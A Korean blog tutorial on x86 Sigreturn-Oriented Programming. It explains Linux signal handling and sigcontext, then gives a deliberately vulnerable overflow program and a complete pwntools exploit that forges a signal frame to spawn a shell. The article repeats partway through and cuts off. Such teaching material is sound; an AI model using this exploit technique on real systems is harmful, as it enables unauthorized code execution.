SROP (Sigreturn-Oriented Programming) - x86
1. SROP ?
Sigreturn Oriented Programming 으로 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장하고 원하는 시스템 함수를 호출하는 공격기법이다. SROP 를 알아보기 전에 시그널에 대해 알아보자
2. 시그널 (Signal)
1. 시그널 (Signal)
운영체제는 크게 유저 모드(User Mode)와 커널 모드(Kernel Mode) 로 나뉘어진다.
유저 모드(User Mode)
- 일반 프로그램이 실행되는 제한된 권한의 모드
 - 하드웨어 직접 접근 불가
 - 중요한 시스템 자원 접근 제한됨
 
커널 모드(Kernel Mode)
- 운영체제 핵심 코드가 실행되는 특권 모드
 - 모든 하드웨어와 시스템 자원에 접근 가능
 - 시스템의 중요한 작업을 처리
 
프로그램을 실행하는 모든 작업은 유저 모드와 커널 모드가 서로 상호작용하면서 이뤄진다.
시그널(signal)은 프로세스에 특정 정보를 전달하는 매개체로, SIGSEGV (Segmentation fault) 또한 시그널이다.
→ 정확히는 Segmentation fault 에러가 발생하면 해당 프로세스에 SIGEGV 시그널을 보내게 된다.
시그널은 보통 커널이 받게 되고 다음과 같은 이벤트 종류가 있다.
- 하드웨어 예외가 발생한 경우
 - 사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우(ctrl + c, ctrl + z)
 - 소프트웨어 이벤트가 발생한 경우
- 타이머 만료
 - 파일 디스크립터에 입력이 발생
 - 해당 프로세스의 자식 프로세스가 종료
 
 
리눅스에서는 다양한 시그널을 제공하는데, 리눅스 소스 코드에 정의된 시그널은 아래와 같다.
 *	+--------------------+------------------+
 *	|  POSIX signal      |  default action  |
 *	+--------------------+------------------+
 *	|  SIGHUP            |  terminate	|
 *	|  SIGINT            |	terminate	|
 *	|  SIGQUIT           |	coredump 	|
 *	|  SIGILL            |	coredump 	|
 *	|  SIGTRAP           |	coredump 	|
 *	|  SIGABRT/SIGIOT    |	coredump 	|
 *	|  SIGBUS            |	coredump 	|
 *	|  SIGFPE            |	coredump 	|
 *	|  SIGKILL           |	terminate(+)	|
 *	|  SIGUSR1           |	terminate	|
 *	|  SIGSEGV           |	coredump 	|
 *	|  SIGUSR2           |	terminate	|
 *	|  SIGPIPE           |	terminate	|
 *	|  SIGALRM           |	terminate	|
 *	|  SIGTERM           |	terminate	|
 *	|  SIGCHLD           |	ignore   	|
 *	|  SIGCONT           |	ignore(*)	|
 *	|  SIGSTOP           |	stop(*)(+)  	|
 *	|  SIGTSTP           |	stop(*)  	|
 *	|  SIGTTIN           |	stop(*)  	|
 *	|  SIGTTOU           |	stop(*)  	|
 *	|  SIGURG            |	ignore   	|
 *	|  SIGXCPU           |	coredump 	|
 *	|  SIGXFSZ           |	coredump 	|
 *	|  SIGVTALRM         |	terminate	|
 *	|  SIGPROF           |	terminate	|
 *	|  SIGPOLL/SIGIO     |	terminate	|
 *	|  SIGSYS/SIGUNUSED  |	coredump 	|
 *	|  SIGSTKFLT         |	terminate	|
 *	|  SIGWINCH          |	ignore   	|
 *	|  SIGPWR            |	terminate	|
 *	|  SIGRTMIN-SIGRTMAX |	terminate       |
 *	+--------------------+------------------+
 *	|  non-POSIX signal  |  default action  |
 *	+--------------------+------------------+
 *	|  SIGEMT            |  coredump	|
 *	+--------------------+------------------+
시그널은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행된다
- 시그널 무시
 - 프로세스 종료
 - 코어 덤프 파일 생성 후 종료
 - 프로세스 중지
 - 프로세스 실행 재개
 
2. 시그널 동작 방식
시그널 핸들러(signal handler)는 유저 프로그램에서 signal(), sigaction() 등을 통해 핸들러 함수를 등록할 수 있다.
시그널이 발생하면 커널이 프로세스의 유저 스택에 시그널 프레임을 만들어놓고, 곧바로 핸들러 함수로 실행 흐름을 옮긴다.
→ 유저 코드가 실행 중일 때 시그널이 들어오면, 유저 코드 흐름이 시그널 핸들러 함수로 바뀌게 된다.
예제 코드를 통해 확인해보자
// Name: sig_alarm.c
// Compile: gcc -o sig_alarm sig_alarm.c 
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
#include<stdlib.h>
 
void sig_handler(int signum){
  printf("sig_handler called.\n");
  exit(0);
}
int main(){
  signal(SIGALRM,sig_handler);
  alarm(5);
  getchar();
  return 0;
}
signal 함수를 이용해 SIGALRM 시그널이 발생하면 sig_hander 함수를 호출한다.
프로세스에서 이 과정을 처리하는 것 같지만 SIGALRM 시그널이 발생하면 커널모드로 진입한다.
시그널을 커널 모드에서 처리하고 나서 유저모드로 돌아와서 프로세스를 실행한다.
→ 유저 모드의 상태(메모리, 레지스터)를 기억하고 되돌아올 수 있어야 한다.
커널 모드에서는 유저 모드로 되돌아가는 상황을 고려해 유저 프로세스의 상태를 저장하는 코드가 구현되어 있다.
3. do_signal()
do_signal 함수는 커널에서 시그널을 처리하기 위해 제일 먼저 호출되는 함수이다.
- 리눅스 커널 5.10 이하 버전 → arch_do_signal
 - 상위 버전 → arch_do_signal_or_restart
 
void arch_do_signal_or_restart(struct pt_regs *regs, bool has_signal)
{
	struct ksignal ksig;
	if (has_signal && get_signal(&ksig)) {
		/* Whee! Actually deliver the signal.  */
		handle_signal(&ksig, regs);
		return;
	}
	/* Did we come from a system call? */
	if (syscall_get_nr(current, regs) >= 0) {
		/* Restart the system call - no handlers present */
		switch (syscall_get_error(current, regs)) {
		case -ERESTARTNOHAND:
		case -ERESTARTSYS:
		case -ERESTARTNOINTR:
			regs->ax = regs->orig_ax;
			regs->ip -= 2;
			break;
		case -ERESTART_RESTARTBLOCK:
			regs->ax = get_nr_restart_syscall(regs);
			regs->ip -= 2;
			break;
		}
	}
	/*
	 * If there's no signal to deliver, we just put the saved sigmask
	 * back.
	 */
	restore_saved_sigmask();
}
arch_do_signal_or_restart 함수이다.
시그널이 발생했다면 커널에서 시그널에 대한 정보를 인자로 get_signal() 함수를 호출하여 해당 시그널에 대한 정보를 가져온다
get_siganl() 함수에서는 signal handler 가 등록되어 있는지 확인한다.
→ signal handler 가 등록되어 있다면 시그널에 대한 정보와 레지스터 정보를 인자로 handle_signal() 함수를 호출한다.
4. handle_signal()
시그널이 발생하면 커널은 유저모드의 실행 상태(레지스터, 스택)를 시그널 프레임의 형태로 저장한다
→ 이 작업은 handle_signal() 함수에 의해서 수행된다
그럼 이제 handle_signal() 함수에 대해 알아보자
static void
handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
    ...
	failed = (setup_rt_frame(ksig, regs) < 0);
	if (!failed) {
		fpu__clear_user_states(fpu);
	}
	signal_setup_done(failed, ksig, stepping);
}
handle_signal 함수의 일부이다.
1. 유저 모드 → 커널 모드
- 시그널이 발생하면 do_signal 함수에서 get_signal() 함수를 호출한다
 - get_signal() 함수는 유저모드 signal handler 가 등록되어 있는지 확인하고 
등록되어 있다면 handle_signal() 함수를 호출한다 - handle_signal() 함수는 setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한다
 
2. 커널모드 → 유저 모드
- sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다
 

2. Sigreturn
1. sigreturn
setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한 뒤에 signal handler 명령을 수행한다
signal handler 는 프로그래머가 signal() 또는 sigaction() 함수를 통해 등록한 함수이다.
특정 시그널이 발생했을 때 기본동작 대신 원하는 동작을 수행하도록 만든다
signal handler 는 유저 모드에서 실행되며, 유저 모드의 코드 세그먼트에 포함된다
signal handler 가 종료되면 sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다
→ 이 때 stack을 복원하기 위해 사용되는 함수가 restore_sigcontext 이다
restore_sigcontext 함수에 대해 알아보자
static bool restore_sigcontext(struct pt_regs *regs,
			       struct sigcontext __user *usc,
			       unsigned long uc_flags)
{
	struct sigcontext sc;
	/* Always make any pending restarted system calls return -EINTR */
	current->restart_block.fn = do_no_restart_syscall;
	if (copy_from_user(&sc, usc, offsetof(struct sigcontext, reserved1)))
		return false;
	regs->bx = sc.bx;
	regs->cx = sc.cx;
	regs->dx = sc.dx;
	regs->si = sc.si;
	regs->di = sc.di;
	regs->bp = sc.bp;
	regs->ax = sc.ax;
	regs->sp = sc.sp;
	regs->ip = sc.ip;
	regs->r8 = sc.r8;
	regs->r9 = sc.r9;
	regs->r10 = sc.r10;
	regs->r11 = sc.r11;
	regs->r12 = sc.r12;
	regs->r13 = sc.r13;
	regs->r14 = sc.r14;
	regs->r15 = sc.r15;
	/* Get CS/SS and force CPL3 */
	regs->cs = sc.cs | 0x03;
	regs->ss = sc.ss | 0x03;
	regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
	/* disable syscall checks */
	regs->orig_ax = -1;
	/*
	 * Fix up SS if needed for the benefit of old DOSEMU and
	 * CRIU.
	 */
	if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
		force_valid_ss(regs);
	return fpu__restore_sig((void __user *)sc.fpstate, 0);
}
restore_sigcontext() 함수는 copy_from_user() 함수를 이용하여 stack 에 저장된 값을 레지스터에 복사한다
→ 가젯이 없어도 sigreturn 함수를 이용해 레지스터에 원하는 값을 저장할 수 있다
코드를 살펴보면 sigcontext 구조체에 존재하는 각 멤버 변수에 있는 값을 레지스터에 넣는 것을 알 수 있다.
2. sigcontext
# ifdef __i386__
struct sigcontext {
	__u16				gs, __gsh;
	__u16				fs, __fsh;
	__u16				es, __esh;
	__u16				ds, __dsh;
	__u32				edi;
	__u32				esi;
	__u32				ebp;
	__u32				esp;
	__u32				ebx;
	__u32				edx;
	__u32				ecx;
	__u32				eax;
	__u32				trapno;
	__u32				err;
	__u32				eip;
	__u16				cs, __csh;
	__u32				eflags;
	__u32				esp_at_signal;
	__u16				ss, __ssh;
	struct _fpstate __user		*fpstate;
	__u32				oldmask;
	__u32				cr2;
};
sigcontext 의 x86 아키텍처에 해당하는 구조체이다
코드를 살펴보면 레지스터 명칭을 가진 각각의 멤버 변수가 존재하는 것을 볼 수 있다.
→ 이 구조체를 통해 sigreturn() 함수에서 유저 모드의 레지스터와 스택을 복구한다
만약 공격자가 가짜 시그널 프레임(fake sigcontext)를 스택에 넣어두면
sigreturn() 호출 시 커널은 공격자가 만든 시그널 프레임을 불러오게 된다
→ 공격자가 레지스터의 값을 마음대로 조작할 수 있어 원하는 함수나 명령을 실행하도록 할 수 있다.
3. Exploit method
1. 코드 확인
SROP 는 sigreturn 시스템 콜을 이용한 ROP 기법이다.
sigreturn 시스템 콜을 호출하고 레지스터에 복사할 값을 미리 스택에 저장해 임의 코드를 실행할 수 있다.
→ 가젯이 없어도 모든 레지스터를 조작할 수 있다
// Name : srop32.c
// Compile : gcc -m32 -fno-stack-protector -z execstack -no-pie -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}
  
void main(){
    seteuid(getuid());
    vuln();
}
BOF 가 일어나는 예제 코드로 실습해보자
checksec 으로 보호기법을 확인해보자
[*] '/home/gunp4ng/project/SF/srop/srop32'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
Partial RELO, NX-bit 보호기법이 걸려있는 것을 확인할 수 있다.
vuln 함수의 어셈블리를 확인해보자
Dump of assembler code for function vuln:
=> 0x080491b6 <+0>:     push   ebp
   0x080491b7 <+1>:     mov    ebp,esp
   0x080491b9 <+3>:     push   ebx
   0x080491ba <+4>:     sub    esp,0x44
   0x080491bd <+7>:     call   0x80490f0 <__x86.get_pc_thunk.bx>
   0x080491c2 <+12>:    add    ebx,0x2e3e
   0x080491c8 <+18>:    sub    esp,0x8
   0x080491cb <+21>:    lea    eax,[ebx-0x1ff8]
   0x080491d1 <+27>:    push   eax
   0x080491d2 <+28>:    push   0xffffffff
   0x080491d4 <+30>:    call   0x8049090 <dlsym@plt>
   0x080491d9 <+35>:    add    esp,0x10
   0x080491dc <+38>:    mov    DWORD PTR [ebp-0xc],eax
   0x080491df <+41>:    sub    esp,0x8
   0x080491e2 <+44>:    push   DWORD PTR [ebp-0xc]
   0x080491e5 <+47>:    lea    eax,[ebx-0x1ff1]
   0x080491eb <+53>:    push   eax
   0x080491ec <+54>:    call   0x8049060 <printf@plt>
   0x080491f1 <+59>:    add    esp,0x10
   0x080491f4 <+62>:    sub    esp,0x4
   0x080491f7 <+65>:    push   0x100
   0x080491fc <+70>:    lea    eax,[ebp-0x3e]
   0x080491ff <+73>:    push   eax
   0x08049200 <+74>:    push   0x0
   0x08049202 <+76>:    call   0x8049050 <read@plt>
   0x08049207 <+81>:    add    esp,0x10
   0x0804920a <+84>:    nop
   0x0804920b <+85>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804920e <+88>:    leave
   0x0804920f <+89>:    ret
End of assembler dump.
- buf : ebp - 0x3e
 
buf + SFP(66) 만큼 입력하면 RET 영역을 덮어씌울 수 있다
2. 공격 순서
- sigreturn() 함수를 이용해 레지스터에 원하는 값을 저장한다
- esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
 - ebx → "/bin/sh" 문자열이 저장된 주소
 - eax → execve() 함수의 시스템 콜 번호 (11)
 - eip → int 0x80 명령어가 저장된 주소
 - cs → (user code) 0x23
 - ss → (user data) 0x2b
 
 - int 0x80 명령어 실행
 
32bit 환경에서 execve 시스템콜의 번호는 11 (0xb) 이다
sigcontext 구조체 형태로 stack 에 값을 저장할 때 cs, ss 레지스터에 대한 값을 설정해야 한다
32bit 운영체제에서는 0x73, 0x7b 가 사용된다.
64bit 운영체제에서 실행되는 32bit 프로그램의 경우에는 0x23, 0x2b 가 사용된다.
따라서 cs 는 0x23, ss는 0x2b 로 설정하면 된다
공격 순서를 코드로 표현을 하면 다음과 같다
sigreturn()
int 0x80
3. 필요한 정보 구하기
- __kernel_sigreturn() 함수의 주소
 - "/bin/sh" 문자열이 저장된 영역
 - int 0x80 가젯
 
위의 3개의 정보를 알아야 한다

리눅스 커널버전, 아키텍처에 따라 시스템콜 가젯의 위치가 달라진다
테스트 프로그램이 32bit 이기 때문에 sigreturn() 함수를 vdso 영역에서 구할 수 있다
먼저 __kernel_sigreturn 함수의 주소이다

__kernel_sigreturn 함수의 주소는 0xf7fc4560이다

__kernel_sigreturn 을 살펴보자
0xf7fc4560 주소를 사용할 경우 pop eax 가 포함되어 있기 때문에 호출 뒤에 임의의 값이 저장되어야 한다.
- __kernel_sigreturn + 4byte + sigcontext
 
0xf7fc4561 주소를 사용할 경우 mov eax, 0x77 명령어가 실행되기 때문에 호출 뒤에 sigcontext 가 저장되어야 한다
0x77 은 32비트에서 sigreturn 시스템 콜 번호이다.
- __kernel_sigreturn + sigcontext
 
__kernel_sigreturn 의 주소로 0xf7fc4561 을 사용하자
int 80 의 주소는 0xf7fc4566 이다

메모리 영역을 확인해보면 vdso 는 0xf7fc4000~0xf7fc6000 인 것을 알 수 있다
__kernel_sigreturn() 주소는 0xf7fc4560 로 vdso 영역에 있는 것을 볼 수 있다

"/bin/sh" 문자열이 저장된 주소는 0xf7f3e0d5 이다
4. sigcontext (fake signal frame) 구성
# ifdef __i386__
struct sigcontext {
    __u16               gs, __gsh;
    __u16               fs, __fsh;
    __u16               es, __esh;
    __u16               ds, __dsh;
    __u32               edi;
    __u32               esi;
    __u32               ebp;
    __u32               esp;
    __u32               ebx;
    __u32               edx;
    __u32               ecx;
    __u32               eax;
    __u32               trapno;
    __u32               err;
    __u32               eip;
    __u16               cs, __csh;
    __u32               eflags;
    __u32               esp_at_signal;
    __u16               ss, __ssh;
    struct _fpstate __user      *fpstate;
    __u32               oldmask;
    __u32               cr2;
};
32bit 환경의 sigcontext 이다
위의 정보를 바탕으로 signal frame 을 구성해보자
payload += p32(0)       	#gs
payload += p32(0)       	#fs
payload += p32(0)       	#es
payload += p32(0)       	#ds
payload += p32(0)       	#edi;
payload += p32(0)       	#esi;
payload += p32(0)       	#ebp;
payload += p32(int80)  	    #esp;
payload += p32(binsh)   	#ebx;
payload += p32(0)       	#edx;
payload += p32(0)       	#ecx;
payload += p32(0xb)       	#eax;
payload += p32(0)       	#trapno;
payload += p32(0)       	#err;
payload += p32(int80)  	    #eip;
payload += p32(0x23)    	#cs
payload += p32(0)       	#eflags
payload += p32(0)       	#esp_at_signal
payload += p32(0x2b)    	#ss
- esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
 - ebx → "/bin/sh" 문자열이 저장된 주소
 - eax → execve() 함수의 시스템 콜 번호 (11)
 - eip → int 0x80 명령어가 저장된 주소
 - cs → (user code) 0x23
 - ss → (user data) 0x2b
 
필요한 레지스터만 설정하고 나머지는 오류를 방지하기 위해 0으로 설정해주었다
5. 페이로드 구성
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
p = process('./srop32')
sigreturn = 0xf7fc4561
binsh = 0xf7f3e0d5
int80 = 0xf7fc4566
payload = b'\x90' * 66     # buf + SFP
payload += p32(sigreturn)     # RET 
payload += p32(0)       	#gs
payload += p32(0)       	#fs
payload += p32(0)       	#es
payload += p32(0)       	#ds
payload += p32(0)       	#edi;
payload += p32(0)       	#esi;
payload += p32(0)       	#ebp;
payload += p32(int80)    	#esp;
payload += p32(binsh)   	#ebx;
payload += p32(0)       	#edx;
payload += p32(0)       	#ecx;
payload += p32(0xb)       	#eax;
payload += p32(0)       	#trapno;
payload += p32(0)       	#err;
payload += p32(int80)  	    #eip;
payload += p32(0x23)    	#cs
payload += p32(0)       	#eflags
payload += p32(0)       	#esp_at_signal
payload += p32(0x2b)    	#ss
# pause()
p.send(payload)
p.interactive()
작성한 페이로드는 다음과 같다

셸을 얻은 것을 확인할 수 있다
'Hacking > Pwnable' 카테고리의 다른 글
| Stack Pivoting (0) | 2025.04.02 | 
|---|---|
| SROP (x64) (0) | 2025.03.26 | 
| OOB(Out of Bound) (0) | 2025.03.18 | 
| Off by one (0) | 2025.03.17 | 
| PIE (0) | 2024.10.13 | 
SROP (Sigreturn-Oriented Programming) - x86
1. SROP ?
Sigreturn Oriented Programming 으로 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장하고 원하는 시스템 함수를 호출하는 공격기법이다. SROP 를 알아보기 전에 시그널에 대해 알아보자
2. 시그널 (Signal)
1. 시그널 (Signal)
운영체제는 크게 유저 모드(User Mode)와 커널 모드(Kernel Mode) 로 나뉘어진다.
유저 모드(User Mode)
- 일반 프로그램이 실행되는 제한된 권한의 모드
 - 하드웨어 직접 접근 불가
 - 중요한 시스템 자원 접근 제한됨
 
커널 모드(Kernel Mode)
- 운영체제 핵심 코드가 실행되는 특권 모드
 - 모든 하드웨어와 시스템 자원에 접근 가능
 - 시스템의 중요한 작업을 처리
 
프로그램을 실행하는 모든 작업은 유저 모드와 커널 모드가 서로 상호작용하면서 이뤄진다.
시그널(signal)은 프로세스에 특정 정보를 전달하는 매개체로, SIGSEGV (Segmentation fault) 또한 시그널이다.
→ 정확히는 Segmentation fault 에러가 발생하면 해당 프로세스에 SIGEGV 시그널을 보내게 된다.
시그널은 보통 커널이 받게 되고 다음과 같은 이벤트 종류가 있다.
- 하드웨어 예외가 발생한 경우
 - 사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우(ctrl + c, ctrl + z)
 - 소프트웨어 이벤트가 발생한 경우
- 타이머 만료
 - 파일 디스크립터에 입력이 발생
 - 해당 프로세스의 자식 프로세스가 종료
 
 
리눅스에서는 다양한 시그널을 제공하는데, 리눅스 소스 코드에 정의된 시그널은 아래와 같다.
 *	+--------------------+------------------+
 *	|  POSIX signal      |  default action  |
 *	+--------------------+------------------+
 *	|  SIGHUP            |  terminate	|
 *	|  SIGINT            |	terminate	|
 *	|  SIGQUIT           |	coredump 	|
 *	|  SIGILL            |	coredump 	|
 *	|  SIGTRAP           |	coredump 	|
 *	|  SIGABRT/SIGIOT    |	coredump 	|
 *	|  SIGBUS            |	coredump 	|
 *	|  SIGFPE            |	coredump 	|
 *	|  SIGKILL           |	terminate(+)	|
 *	|  SIGUSR1           |	terminate	|
 *	|  SIGSEGV           |	coredump 	|
 *	|  SIGUSR2           |	terminate	|
 *	|  SIGPIPE           |	terminate	|
 *	|  SIGALRM           |	terminate	|
 *	|  SIGTERM           |	terminate	|
 *	|  SIGCHLD           |	ignore   	|
 *	|  SIGCONT           |	ignore(*)	|
 *	|  SIGSTOP           |	stop(*)(+)  	|
 *	|  SIGTSTP           |	stop(*)  	|
 *	|  SIGTTIN           |	stop(*)  	|
 *	|  SIGTTOU           |	stop(*)  	|
 *	|  SIGURG            |	ignore   	|
 *	|  SIGXCPU           |	coredump 	|
 *	|  SIGXFSZ           |	coredump 	|
 *	|  SIGVTALRM         |	terminate	|
 *	|  SIGPROF           |	terminate	|
 *	|  SIGPOLL/SIGIO     |	terminate	|
 *	|  SIGSYS/SIGUNUSED  |	coredump 	|
 *	|  SIGSTKFLT         |	terminate	|
 *	|  SIGWINCH          |	ignore   	|
 *	|  SIGPWR            |	terminate	|
 *	|  SIGRTMIN-SIGRTMAX |	terminate       |
 *	+--------------------+------------------+
 *	|  non-POSIX signal  |  default action  |
 *	+--------------------+------------------+
 *	|  SIGEMT            |  coredump	|
 *	+--------------------+------------------+
시그널은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행된다
- 시그널 무시
 - 프로세스 종료
 - 코어 덤프 파일 생성 후 종료
 - 프로세스 중지
 - 프로세스 실행 재개
 
2. 시그널 동작 방식
시그널 핸들러(signal handler)는 유저 프로그램에서 signal(), sigaction() 등을 통해 핸들러 함수를 등록할 수 있다.
시그널이 발생하면 커널이 프로세스의 유저 스택에 시그널 프레임을 만들어놓고, 곧바로 핸들러 함수로 실행 흐름을 옮긴다.
→ 유저 코드가 실행 중일 때 시그널이 들어오면, 유저 코드 흐름이 시그널 핸들러 함수로 바뀌게 된다.
예제 코드를 통해 확인해보자
// Name: sig_alarm.c
// Compile: gcc -o sig_alarm sig_alarm.c 
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
#include<stdlib.h>
 
void sig_handler(int signum){
  printf("sig_handler called.\n");
  exit(0);
}
int main(){
  signal(SIGALRM,sig_handler);
  alarm(5);
  getchar();
  return 0;
}
signal 함수를 이용해 SIGALRM 시그널이 발생하면 sig_hander 함수를 호출한다.
프로세스에서 이 과정을 처리하는 것 같지만 SIGALRM 시그널이 발생하면 커널모드로 진입한다.
시그널을 커널 모드에서 처리하고 나서 유저모드로 돌아와서 프로세스를 실행한다.
→ 유저 모드의 상태(메모리, 레지스터)를 기억하고 되돌아올 수 있어야 한다.
커널 모드에서는 유저 모드로 되돌아가는 상황을 고려해 유저 프로세스의 상태를 저장하는 코드가 구현되어 있다.
3. do_signal()
do_signal 함수는 커널에서 시그널을 처리하기 위해 제일 먼저 호출되는 함수이다.
- 리눅스 커널 5.10 이하 버전 → arch_do_signal
 - 상위 버전 → arch_do_signal_or_restart
 
void arch_do_signal_or_restart(struct pt_regs *regs, bool has_signal)
{
	struct ksignal ksig;
	if (has_signal && get_signal(&ksig)) {
		/* Whee! Actually deliver the signal.  */
		handle_signal(&ksig, regs);
		return;
	}
	/* Did we come from a system call? */
	if (syscall_get_nr(current, regs) >= 0) {
		/* Restart the system call - no handlers present */
		switch (syscall_get_error(current, regs)) {
		case -ERESTARTNOHAND:
		case -ERESTARTSYS:
		case -ERESTARTNOINTR:
			regs->ax = regs->orig_ax;
			regs->ip -= 2;
			break;
		case -ERESTART_RESTARTBLOCK:
			regs->ax = get_nr_restart_syscall(regs);
			regs->ip -= 2;
			break;
		}
	}
	/*
	 * If there's no signal to deliver, we just put the saved sigmask
	 * back.
	 */
	restore_saved_sigmask();
}
arch_do_signal_or_restart 함수이다.
시그널이 발생했다면 커널에서 시그널에 대한 정보를 인자로 get_signal() 함수를 호출하여 해당 시그널에 대한 정보를 가져온다
get_siganl() 함수에서는 signal handler 가 등록되어 있는지 확인한다.
→ signal handler 가 등록되어 있다면 시그널에 대한 정보와 레지스터 정보를 인자로 handle_signal() 함수를 호출한다.
4. handle_signal()
시그널이 발생하면 커널은 유저모드의 실행 상태(레지스터, 스택)를 시그널 프레임의 형태로 저장한다
→ 이 작업은 handle_signal() 함수에 의해서 수행된다
그럼 이제 handle_signal() 함수에 대해 알아보자
static void
handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
    ...
	failed = (setup_rt_frame(ksig, regs) < 0);
	if (!failed) {
		fpu__clear_user_states(fpu);
	}
	signal_setup_done(failed, ksig, stepping);
}
handle_signal 함수의 일부이다.
1. 유저 모드 → 커널 모드
- 시그널이 발생하면 do_signal 함수에서 get_signal() 함수를 호출한다
 - get_signal() 함수는 유저모드 signal handler 가 등록되어 있는지 확인하고 
등록되어 있다면 handle_signal() 함수를 호출한다 - handle_signal() 함수는 setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한다
 
2. 커널모드 → 유저 모드
- sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다
 

2. Sigreturn
1. sigreturn
setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한 뒤에 signal handler 명령을 수행한다
signal handler 는 프로그래머가 signal() 또는 sigaction() 함수를 통해 등록한 함수이다.
특정 시그널이 발생했을 때 기본동작 대신 원하는 동작을 수행하도록 만든다
signal handler 는 유저 모드에서 실행되며, 유저 모드의 코드 세그먼트에 포함된다
signal handler 가 종료되면 sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다
→ 이 때 stack을 복원하기 위해 사용되는 함수가 restore_sigcontext 이다
restore_sigcontext 함수에 대해 알아보자
static bool restore_sigcontext(struct pt_regs *regs,
			       struct sigcontext __user *usc,
			       unsigned long uc_flags)
{
	struct sigcontext sc;
	/* Always make any pending restarted system calls return -EINTR */
	current->restart_block.fn = do_no_restart_syscall;
	if (copy_from_user(&sc, usc, offsetof(struct sigcontext, reserved1)))
		return false;
	regs->bx = sc.bx;
	regs->cx = sc.cx;
	regs->dx = sc.dx;
	regs->si = sc.si;
	regs->di = sc.di;
	regs->bp = sc.bp;
	regs->ax = sc.ax;
	regs->sp = sc.sp;
	regs->ip = sc.ip;
	regs->r8 = sc.r8;
	regs->r9 = sc.r9;
	regs->r10 = sc.r10;
	regs->r11 = sc.r11;
	regs->r12 = sc.r12;
	regs->r13 = sc.r13;
	regs->r14 = sc.r14;
	regs->r15 = sc.r15;
	/* Get CS/SS and force CPL3 */
	regs->cs = sc.cs | 0x03;
	regs->ss = sc.ss | 0x03;
	regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
	/* disable syscall checks */
	regs->orig_ax = -1;
	/*
	 * Fix up SS if needed for the benefit of old DOSEMU and
	 * CRIU.
	 */
	if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
		force_valid_ss(regs);
	return fpu__restore_sig((void __user *)sc.fpstate, 0);
}
restore_sigcontext() 함수는 copy_from_user() 함수를 이용하여 stack 에 저장된 값을 레지스터에 복사한다
→ 가젯이 없어도 sigreturn 함수를 이용해 레지스터에 원하는 값을 저장할 수 있다
코드를 살펴보면 sigcontext 구조체에 존재하는 각 멤버 변수에 있는 값을 레지스터에 넣는 것을 알 수 있다.
2. sigcontext
# ifdef __i386__
struct sigcontext {
	__u16				gs, __gsh;
	__u16				fs, __fsh;
	__u16				es, __esh;
	__u16				ds, __dsh;
	__u32				edi;
	__u32				esi;
	__u32				ebp;
	__u32				esp;
	__u32				ebx;
	__u32				edx;
	__u32				ecx;
	__u32				eax;
	__u32				trapno;
	__u32				err;
	__u32				eip;
	__u16				cs, __csh;
	__u32				eflags;
	__u32				esp_at_signal;
	__u16				ss, __ssh;
	struct _fpstate __user		*fpstate;
	__u32				oldmask;
	__u32				cr2;
};
sigcontext 의 x86 아키텍처에 해당하는 구조체이다
코드를 살펴보면 레지스터 명칭을 가진 각각의 멤버 변수가 존재하는 것을 볼 수 있다.
→ 이 구조체를 통해 sigreturn() 함수에서 유저 모드의 레지스터와 스택을 복구한다
만약 공격자가 가짜 시그널 프레임(fake sigcontext)를 스택에 넣어두면
sigreturn() 호출 시 커널은 공격자가 만든 시그널 프레임을 불러오게 된다
→ 공격자가 레지스터의 값을 마음대로 조작할 수 있어 원하는 함수나 명령을 실행하도록 할 수 있다.
3. Exploit method
1. 코드 확인
SROP 는 sigreturn 시스템 콜을 이용한 ROP 기법이다.
sigreturn 시스템 콜을 호출하고 레지스터에 복사할 값을 미리 스택에 저장해 임의 코드를 실행할 수 있다.
→ 가젯이 없어도 모든 레지스터를 조작할 수 있다
// Name : srop32.c
// Compile : gcc -m32 -fno-stack-protector -z execstack -no-pie -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}
  
void main(){
    seteuid(getuid());
    vuln();
}
BOF 가 일어나는 예제 코드로 실습해보자
checksec 으로 보호기법을 확인해보자
[*] '/home/gunp4ng/project/SF/srop/srop32'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
